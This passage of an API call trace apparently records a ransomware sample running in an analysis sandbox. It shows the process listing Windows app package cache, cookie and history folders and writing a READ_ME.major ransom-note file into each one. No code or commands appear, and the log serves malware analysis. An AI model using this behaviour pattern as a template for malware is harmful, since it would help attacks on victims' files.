ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37fc5887, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f33be0 [0228.332] FindNextFileW (in: hFindFile=0x2f33be0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xe3e7bf5e, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd1871c50, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37fc5887, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.332] FindNextFileW (in: hFindFile=0x2f33be0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x37fc5887, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x37fc5887, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x37fc5887, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.332] FindNextFileW (in: hFindFile=0x2f33be0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x37fc5887, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x37fc5887, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x37fc5887, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.332] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\AC\\INetHistory\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xe3e7bf5e, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd18be980, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x38012657, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f33de0 [0228.334] FindNextFileW (in: hFindFile=0x2f33de0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xe3e7bf5e, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd18be980, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x38012657, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.334] FindNextFileW (in: hFindFile=0x2f33de0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5106299e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x5106299e, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x5106299e, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="BackgroundTransferApi", cAlternateFileName="BACKGR~1")) returned 1 [0228.334] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\AC\\INetHistory\\BackgroundTransferApi\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\ac\\inethistory\\backgroundtransferapi\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x193c [0228.336] WriteFile (in: hFile=0x193c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0228.337] CloseHandle (hObject=0x193c) returned 1 [0228.337] FindNextFileW (in: hFindFile=0x2f33de0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5106299e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x5106299e, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x5106299e, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="BackgroundTransferApiGroup", cAlternateFileName="BACKGR~2")) returned 1 [0228.337] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\AC\\INetHistory\\BackgroundTransferApiGroup\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\ac\\inethistory\\backgroundtransferapigroup\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x193c [0228.338] WriteFile (in: hFile=0x193c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0228.339] CloseHandle (hObject=0x193c) returned 1 [0228.339] FindNextFileW (in: hFindFile=0x2f33de0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x37fc5887, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x37fc5887, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x38012657, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.339] FindNextFileW (in: hFindFile=0x2f33de0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x37fc5887, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x37fc5887, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x38012657, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.339] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\LocalState\\Files\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2f13411f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2f13411f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x38012657, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f339e0 [0228.340] FindNextFileW (in: hFindFile=0x2f339e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2f13411f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2f13411f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x38012657, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.340] FindNextFileW (in: hFindFile=0x2f339e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38012657, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x38012657, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x38012657, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.340] FindNextFileW (in: hFindFile=0x2f339e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2f13411f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2f13411f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2f13411f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="S0", cAlternateFileName="")) returned 1 [0228.340] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\LocalState\\Files\\S0\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\localstate\\files\\s0\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1940 [0228.341] WriteFile (in: hFile=0x1940, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0228.342] CloseHandle (hObject=0x1940) returned 1 [0228.342] FindNextFileW (in: hFindFile=0x2f339e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2f13411f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2f13411f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2f13411f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="S0", cAlternateFileName="")) returned 0 [0228.342] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\LocalState\\LocalFiles\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2f23f1b3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2f23f1b3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x38012657, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f33d60 [0228.342] FindNextFileW (in: hFindFile=0x2f33d60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2f23f1b3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2f23f1b3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x38012657, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.342] FindNextFileW (in: hFindFile=0x2f33d60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2f23f1b3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2f23f1b3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2f23f1b3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="923", cAlternateFileName="")) returned 1 [0228.342] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\LocalState\\LocalFiles\\923\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\localstate\\localfiles\\923\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1944 [0228.343] WriteFile (in: hFile=0x1944, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0228.344] CloseHandle (hObject=0x1944) returned 1 [0228.344] FindNextFileW (in: hFindFile=0x2f33d60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38012657, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x38012657, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x38012657, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.344] FindNextFileW (in: hFindFile=0x2f33d60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38012657, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x38012657, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x38012657, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.344] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\LocalState\\Photos\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d91a174, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd192b563, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x38037faf, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f33da0 [0228.344] FindNextFileW (in: hFindFile=0x2f33da0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d91a174, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd192b563, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x38037faf, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.344] FindNextFileW (in: hFindFile=0x2f33da0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38037faf, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x38037faf, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x38037faf, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.344] FindNextFileW (in: hFindFile=0x2f33da0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38037faf, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x38037faf, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x38037faf, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.345] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe\\AC\\INetCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbedebf51, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd1a4fb8a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x38a59f9a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f33ea0 [0228.345] FindNextFileW (in: hFindFile=0x2f33ea0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbedebf51, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd1a4fb8a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x38a59f9a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.345] FindNextFileW (in: hFindFile=0x2f33ea0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x38a59f9a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x38a59f9a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x38a59f9a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.345] FindNextFileW (in: hFindFile=0x2f33ea0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x38a59f9a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x38a59f9a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x38a59f9a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.345] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe\\AC\\INetCookies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbedee638, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd1a5030e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x38a59f9a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f339a0 [0228.345] FindNextFileW (in: hFindFile=0x2f339a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbedee638, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd1a5030e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x38a59f9a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.345] FindNextFileW (in: hFindFile=0x2f339a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x38a59f9a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x38a59f9a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x38a801c5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.345] FindNextFileW (in: hFindFile=0x2f339a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x38a59f9a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x38a59f9a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x38a801c5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.345] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe\\AC\\INetHistory\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbedee638, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xbedee638, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x38a801c5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f33ee0 [0228.346] FindNextFileW (in: hFindFile=0x2f33ee0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbedee638, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xbedee638, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x38a801c5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.346] FindNextFileW (in: hFindFile=0x2f33ee0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x38a801c5, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x38a801c5, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x38a801c5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.346] FindNextFileW (in: hFindFile=0x2f33ee0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x38a801c5, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x38a801c5, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x38a801c5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.346] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsMaps_8wekyb3d8bbwe\\AC\\INetCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xe2a1d9f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1ab3531, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x38bda44e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f33f20 [0228.346] FindNextFileW (in: hFindFile=0x2f33f20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xe2a1d9f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1ab3531, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x38bda44e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.346] FindNextFileW (in: hFindFile=0x2f33f20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x38bda44e, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x38bda44e, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x38bda44e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.346] FindNextFileW (in: hFindFile=0x2f33f20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x38bda44e, 